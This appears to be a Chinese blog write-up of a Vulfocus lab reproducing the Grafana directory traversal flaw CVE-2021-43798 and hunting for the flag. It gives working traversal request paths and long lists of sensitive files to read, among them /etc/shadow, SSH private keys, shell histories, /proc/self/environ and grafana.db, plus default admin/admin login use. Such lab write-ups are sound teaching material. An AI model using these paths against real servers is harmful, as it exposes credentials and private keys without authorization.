grafana 目录遍历(CVE-2021-43798)漏洞复现【VULFOCUS靶场-中级】--拿flag的历程

漏洞名称: grafana 目录遍历 (CVE-2021-43798)

漏洞描述: Grafana 是一个用于监控和可观察性的开源平台。Grafana 版本 8.0.0-beta1 到 8.3.0(补丁版本除外)容易受到目录遍历,允许访问本地文件。易受攻击的 URL 路径是:<grafana_host_url>/public/plugins//,其中是任何已安装插件的插件 ID。Grafana Cloud 在任何时候都不会受到攻击。建议用户升级到补丁版本 8.0.7、8.1.8、8.2.7 或 8.3.1。GitHub 安全公告包含有关易受攻击的 URL 路径、缓解措施和披露时间表的更多信息。

漏洞复现
打开靶场,启动漏洞环境:
在这里插入图片描述

访问漏洞环境:
在这里插入图片描述
admin/admin登录
在这里插入图片描述

从burpsuite中选择一个登录后的GET包,右键选择sent to repeater
在repeater进行修改

将GET后面的数据进行修改 ,改为
/public/plugins/welcome/…/…/…/…/…/…/…/…/…/etc/passwd

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

grafana该版本存在漏洞的插件有40多个,具体可自行查找,此处以testdata为例。
在这里插入图片描述我问了很多人,这题没有flag,基本上做到这一步就没办法深入了,我自己也查了很多资料,包括etc/passwd的各种利用等等,在这个靶场都不是很适用,所以这题没有flag?实在是找不到flag在哪,一脸懵,又不把flag放在这些可读文件里,那岂不是又要getshell,到tmp里面去拿shell?可我真的想不到grafana这个要怎么getshell了,只知道各种用户名,但是密码不知道,前台账号密码是admin/admin,进去后台也是一无所有,空空如也,flag找了半天也找不到在哪,去了vulfocus的靶场看了marsk作者的write up,也是到这一步就结束了,也没说flag在哪,那既然没有flag,这题又是怎么通关呢?

知道flag的这两个人又是谁呢?哈哈,欢迎知道的小伙伴告诉我,这题的falg到底要怎么拿,或者说知道了etc/passwd之后,又要怎么样才能知道getshell?Grafana进了后台怎么getshell?必有重谢。
在这里插入图片描述

1-更新时间2022年6月24日

终于,在今天找到了拿flag的方法,之前问了无数人,都说考点就是目录遍历,和flag无关,我一直持否定态度,终于终于,在我苦苦查找资料的时候发现,漏掉了一个致命细节,那就是历史命令
回顾一下之前,到这一步之后能读到etc/passwd,如下图:
在这里插入图片描述
重点就在这最后一个grafana用户:
在这里插入图片描述直接查看这个用户的历史命令,就能看到flag,但是后面不知道为啥看不到了,真是奇怪。
在这里插入图片描述

2-更新时间2022年12月8日

今天又有小伙伴分享了其他的方法,虽然也是没有拿到flag,但是根据其他的ctf题目来看,这也是一种拿flag的办法,所以也记录一下。

还是和之前一样,启动vulfocus靶场。

抓包后直接读取到etc/passwd,然而并没有什么用。

/public/plugins/welcome/…/…/…/…/…/…/…/…/…/etc/passwd

在这里插入图片描述
原因是因为其实grafana有一些配置文件的路径我们不清楚,所以我们不知道下一步该干嘛了,因此,这里我列举一下。

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/grafana/provisioning
/etc/init.d/grafana-server
/etc/passwd
/etc/shadow
/etc/default/grafana-server
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/var/lib/grafana/data/log/grafana.log
/var/lib/grafana
/var/lib/grafana/plugins
/var/log/grafana
/var/log/grafana/grafana.log
/var/cache/yum/grafana
/usr/share/grafana  
/usr/share/grafana/conf/defaults.ini
/usr/share/grafana/public/app/plugins/datasource/grafana
/usr/sbin/grafana-server
/proc/net/fib_trie
/proc/net/tcp
/proc/self/maps
/proc/self/cgroup
/proc/self/environ
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
/proc/self/cmdline
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/tmp/grafana.sock

补充:那么多的grafana的配置路径,其实最主要比较重点关注的是这三个->
全局配置文件:

/etc/grafana/grafana.ini

默认配置文件:

/usr/local/etc/grafana/grafana.ini

grafana数据库db文件:

/var/lib/grafana/grafana.db

话不多说,读取一下配置文件试试:

/public/plugins/welcome/../../../../../../etc/grafana/grafana.ini

在这里插入图片描述
在这里插入图片描述

从这个文件里,读到了前台的密码为admin,而且发现了是有数据库的。所以按照思路来看,只需要登录admin/admin进入后台,找到数据库的接口进行数据查询就可以找到flag了🌟。但是经过实践发现,并没有这么简单。

在这里插入图片描述
设置mysql数据库,数据库是grafana,用户名是root,这个都没有错,然后密码为空。
点击测试,发现报错。

在这里插入图片描述
说明没有启动数据库服务,所以这条路也不行了。但是假如以后实战里碰到,也可以通过这个配置文件来看后台的密码和数据库的信息,然后在后台的Explore功能界面里面做数据库的配置,就可以进行数据库的操作了。
所以今天为止,vulfocus的这道题,还是没有拿flag的方法的。目前找遍全网,包括CTF的题目来看,拿flag的方法只有这两种,一,历史命令。二、配置文件读取数据库信息,后台数据库查到flag。但是都不适用于vulfocus。

还知道其他方法的大佬欢迎私信。

    文章原创,欢迎转载,请注明文章出处: grafana 目录遍历(CVE-2021-43798)漏洞复现【VULFOCUS靶场-中级】–拿flag的历程.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 12
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

归去来兮-zangcc

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值